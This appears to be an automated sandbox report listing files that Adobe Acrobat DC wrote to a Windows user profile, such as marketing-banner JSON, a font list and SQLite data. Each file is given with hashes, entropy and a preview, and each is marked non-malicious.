Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369202518536268
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJM3g98kUwPeUkwRe9:YvXKXBQXpZc0viVGMbLUkee9
MD5:	E9B3B089496FCC2A38E56C876049EBA9
SHA1:	6821289CE98E4348CC6729FDA0BC73CE094E25DB
SHA-256:	494358BABE28F25E3A0905ADA627E3AA2197CE2BD455E3A7F26CD6AD9AD5619E
SHA-512:	4B73AB6CB2F5764C08EE179A3A433F0C5F2C170CFFCAA148C487212D56B77CC82A8CEC8EB0C847ADE77BE217E29E39DB776F5155903FA20F84CB831E54CEC7B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321495685730402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfBoTfXpnrPeUkwRe9:YvXKXBQXpZc0viVGWTfXcUkee9
MD5:	1B4B3E6F2A764681DEADF70CC3E31650
SHA1:	AD5D7A10DCCFC8743A2B1B60B19A5861B146014D
SHA-256:	71FD8D7D9E91CDCB579C69F3ABDECEE10A3C53AE02A3D44A356FD93DD736254C
SHA-512:	E19F0CD8CD0F883A595708F677EDE84DD9BC6493BAF853B3984ADD3015966DE8483D29E5551128BCA362031BEE54D04D21ED8949D6A95BC697CECBAB68D4DA3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300982254867804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfBD2G6UpnrPeUkwRe9:YvXKXBQXpZc0viVGR22cUkee9
MD5:	59641E0780BF54F32E7E678EA9C78222
SHA1:	5199D7EBBA03986ED0B966401A206173FED82E71
SHA-256:	4BFCC081001B3E7A5E4DBA2A5B9F015DD832A4FCD8B275486FB3D087B87F2BB0
SHA-512:	7E63B537E0A0B041640C989924D9483F7F29D305145AEBC13901D9D8C0D8D22DE7595161675BBE963F47799BC7E51DF232290F932EBA31C8F2C7A312677344AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.356417906563675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfPmwrPeUkwRe9:YvXKXBQXpZc0viVGH56Ukee9
MD5:	306D15D8E293C6F653249729E1DD5868
SHA1:	3996BE2490E2EAFB62CCBD80CA44DC1C746D33E5
SHA-256:	478876522848C60020580F32466A0593DFEDC73F48E5F862F04C27DF66CADC4D
SHA-512:	85431D36E1890A68F200ABFC330517C160E8B4D0DDC61E86602ACE593928A834E6A1E637490FE55FDE5F23DEE7075800795207A16D49B81D771A6646235E064D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6935618287532295
Encrypted:	false
SSDEEP:	24:Yv6XB6pzv7pLgE9cQx8LennAvzBvkn0RCmK8czOCCS6n:YvEaThgy6SAFv5Ah8cv/6n
MD5:	FA2C5F2C316B42EF8BEB3F69475B5F9B
SHA1:	21B59400A5D5F1C9D6E40A507859F8F6232E5FCE
SHA-256:	41D0BFE7BEFA5EE50C83F17BB316ACA4371F652234706477A671D70BAFDCA2B9
SHA-512:	3F4123032E255259226C3CAB7B33F28765D3A8EA5C11AACD258F51248C48D3F5CC4AF28F865940F538B82ADC726EF3B9D7B1A6BE0C2E4163A6F272F9CA239351
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306740356723053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJf8dPeUkwRe9:YvXKXBQXpZc0viVGU8Ukee9
MD5:	4FB7C9E86D8A640BCDF507A21F2AAF9B
SHA1:	553351B407B300ABEACAD8FECB63BC82BBE3F3AD
SHA-256:	71AA9F9B163ED18352B01F159A46668A48995FE7D36296405AF8BB274027C669
SHA-512:	A151B17F907D26D137EBDCB5557EDAA1BA9E162EC9402E2690B1AF4AB1646F29B6000366D2BCB06D683D698A1E0F1B98AE28D4E05E023024AC337034502A7382
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310262744725634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfQ1rPeUkwRe9:YvXKXBQXpZc0viVGY16Ukee9
MD5:	1F4E486DE17E308EEDA1C118FB3CD2C3
SHA1:	DE087A482B612D7800164716D7D49B0092AD3894
SHA-256:	943151B50B1E0033D3ED578AA179664A536A5C6FAF0061D2C7BC9A476C7879EE
SHA-512:	4EB8DE4E7AB9B5EF289262BE1B2BAFDE2BCB35973C78C984288BF1591F6666AE41E33D1F0C2D7B1E5CE237E51441CDED8DC11FC583B47CF17DFAACC2711B4D78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317254098873536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfFldPeUkwRe9:YvXKXBQXpZc0viVGz8Ukee9
MD5:	0EF8F0242437FADD627CE2C49EE8A2DD
SHA1:	4BB9510B0DFC03ED8C055ED510A165FA62EB233B
SHA-256:	204C2307280A71CCD8943A98A8463300C2E6D564F62845F56EA70C04DCF5F791
SHA-512:	03D000F81C1EEDA3713793436B29B51AB3DF82901CD22673F76328D299BFEA708587CD49CE0BBE0FF4081F74E4940557C08D391588F5BF5AF4BB2C1F3FA5D1DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331375869524478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfzdPeUkwRe9:YvXKXBQXpZc0viVGb8Ukee9
MD5:	7C51A2FC9A072625D751907B42C7A72B
SHA1:	ED076D893AAB81382FFCAD2770AC9A634E38415E
SHA-256:	57EA7146D0D45FC4770C97FE888ADD2B38866C9608AD24619E86BAFA65F066C3
SHA-512:	9A6859915AEC40C8DDCC20CD005D3806D3EDC8A567C57ED0AFB50C231B4BE26BF15736B9E8789EE7CD5D62DF48EFFE8DF12F81D11DA9EBC77DE132D9A1739C5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311975183468356
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfYdPeUkwRe9:YvXKXBQXpZc0viVGg8Ukee9
MD5:	A4DE20F8E1A90E04DA36E02DF7B0E172
SHA1:	DA193EF59D9140CDCEFF691C2BD7B1EDBAEEF343
SHA-256:	F297768E19C93056160BCB1E62716B29978BCBB0664DF1F55A1B44F6B1D45C2A
SHA-512:	48C6272B69C00D2693C3562F87E5BE1AA1F0F85129BC11A860844684E7E61E8688892650AFC1F3C7BA2897EB5130BC683F22A35ED2082F39F8B4A3EE75DC3D49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.298535377913737
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJf+dPeUkwRe9:YvXKXBQXpZc0viVG28Ukee9
MD5:	5A4747D4AA904AC13D575EA38AB94E46
SHA1:	04497FF9AD5BD55FB231E6B83A8CAB6F5F2861CD
SHA-256:	C6C2C89EC23696CFC339C3BE92E9B29C47F344B381FDD2DF1D987AC0995DC5DD
SHA-512:	2469632146F5C108CFC730DCC49A3CFE4210507B801839F483797032AD1A57739FBCE634BF87FDC05E7A421D918729C435015324933AB6B6111FF65727C3BE38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2954399774757706
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfbPtdPeUkwRe9:YvXKXBQXpZc0viVGDV8Ukee9
MD5:	CC7F01965DDDF594D5762453327D7B8E
SHA1:	3C3BBAC8682CB6851809B1C74ED9CD138E223385
SHA-256:	39B52B2B352E71882C39191909CCA7A6E518FB34899EAEB698F4E19A73630EB6
SHA-512:	6AC5A35BC6C02232515C97C4C99D69401FBE1426ECA929C98B306904B1C864960010E1053A1216E7C9C13AB197EAFB02E9576496477874475F25199C6B7DD452
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.299942803923229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJf21rPeUkwRe9:YvXKXBQXpZc0viVG+16Ukee9
MD5:	4760C512698DC15B246599E454F3F5F7
SHA1:	AC7A49F072BF0CD607D2D44ED62D803F8722BCD5
SHA-256:	4507B2F46FB7FC784F9C267010893F063E1F83855D96FA5884FE4B5EE7EA9D53
SHA-512:	9F64DA0BB7242848305C747B71845D2788EF4D6CC9C4FF748B460ADD57F92A45F58CE71281C1620AB19BB4DD8C84D09832F0BBB04518B90E3F32E297E94C76F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66935844205651
Encrypted:	false
SSDEEP:	24:Yv6XB6pzv7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6n:YvEaTBgkDMUJUAh8cvM6n
MD5:	67E850F8B69E25A59580F53E8E797AF1
SHA1:	B82AEB7616F203AFC4852731EC1C747B630D2B47
SHA-256:	F5ECCD6ED5579830AF45B006781EBA0A98A2B03CE3F4D4247143BA94BF42F3C2
SHA-512:	B04DAE4F4AAD85CB45899BD6D2210D8BF67C11B7BCC85D630774142226C0FADFCC849A5364E4F0F541EA985ECCB79ABFBA8E009711EB3C1FD108E50F2B8E33C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278230980396938
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJfshHHrPeUkwRe9:YvXKXBQXpZc0viVGUUUkee9
MD5:	8454DE17C168FC894ED211923BA23F51
SHA1:	A1381E8116CE9AAAFDC50D4627AC238BDEFFEF2B
SHA-256:	67A75DC5FEAFA358C272391E34E553462BD149ACD32DF86427901B81E932354E
SHA-512:	AC13584E98AFC4A0094E2A5B98769CC5BCCB72A37E3EC8B13FF9019B6B00E31CCE72EF05791B2A199B24C5284488722CC44F00F11FFF3D70F90F37E7F838F394
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284678386664131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQTSCG6epVoZcg1vRcR0YLeoAvJTqgFCrPeUkwRe9:YvXKXBQXpZc0viVGTq16Ukee9
MD5:	DCEA952985CC35AFD789E0E78DFADF71
SHA1:	73A3770C08EAED43B85FF98D98882E5A1315D728
SHA-256:	78EE8A151C39C364FC438AEB9925FDF6DB09CDDA3352900643097E7E9D10A11A
SHA-512:	F748FE1961E10D3D6E5D6D71B4F0EB78599EBA83E6CDFF7B05C85CB24587581D67683C7A6F140DA02A8004B94F22097703FB1F5B88A9D67EAB3F4AD0EC13F626
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65687852-5287-438a-9913-e8833e336308","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736707913010,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136864994102614
Encrypted:	false
SSDEEP:	48:Y9D8ekXjTtdVpI4fHooNqyXj4AclvmT8MNiuI9U1AX:oD8eWjJdVpI4fIatMA4vmIMNiHU1g
MD5:	A6BB3A353A50B4B0E7AD10854A88FB71
SHA1:	A7F162DE05694A841A109A50D94BFC8A24236A92
SHA-256:	A86802B6BAE0854F9624BED96BAB074AEED86A28441D2FA98F1D022510FA6DB8
SHA-512:	00549E7CF923DBFEC17306B971357292187063826288B05DEF99C8AB83E61AF74120C679D13166F7E4D732FE0E567F7BAA88C8D1A93B3FE5C21F4F9FCDCC687C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b19642c16543b6e052fedc2471aa69a2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528932000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7c6e5473fd808867f614ca404a57a1ff","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528932000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0683648d37e1979ed2a96eff53702267","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528932000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fbe5094db1e2f68fcd855c984098cd07","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528931000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e678dfe661d779c6fddd3dd47ebd214b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528931000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6f782277b9d49a22d7a94328d3c4eb75","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.186853063763578
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU8SvR9H9vxFGiDIAEkGVvp+:lNVmswUUUUUUUU8+FGSItC
MD5:	97AC8B4A393BB473E341048F4B07ADAD
SHA1:	9AF79E9980EACD90C23C3D9142D18476444AB5EF
SHA-256:	0F7EB14D611654F33D10DAE133ACD28CB617174F8B4246607FFA237502427E28
SHA-512:	4A27DD4A8813F58D18AC482BCC04F68A8CD22BB8F1EA38C603C4AA3099F554A03E75C2EE9A01524D17D96333DED5C854846D01587176C9EC298FD39A5A1635AD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6055962202960365
Encrypted:	false
SSDEEP:	48:7M+KUUUUUUUUUUuvR9H9vxFGiDIAEkGVvqqFl2GL7msA:7iUUUUUUUUUUSFGSItEKVmsA
MD5:	FE160655DA3E5EC461D2325E9DC468BA
SHA1:	C1951FAA880AFE5A8D6713F91180358F7778BB59
SHA-256:	C789F97E3F83B28FE427332AF8E7F0BECEDF6CCD8280A474F4D04C9EB5C33241
SHA-512:	BB5476A6FAD59EC6F01A7DF59E8DEE3777A13B3F251F92A791EBCED1BDB996F295BF2430C5AC50F44E865758C663CAE436908DEC2C6D139AF8C49CBE30876B3A
Malicious:	false
Preview:	.... .c.....m.9.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg1OPq36V6fayVgrhXhh+mY1VfO4Yyu:6a6TZ44ADE12qKV6feXY1V5K
MD5:	B58E4CF489699633BAFCD154E6DFE867
SHA1:	52A7C359FF18ABACEA5D2F0100E844D392860843
SHA-256:	2AA446EE627D9CF3172252F8579864E7D0A31D83047B63E23118B36509BA02A5
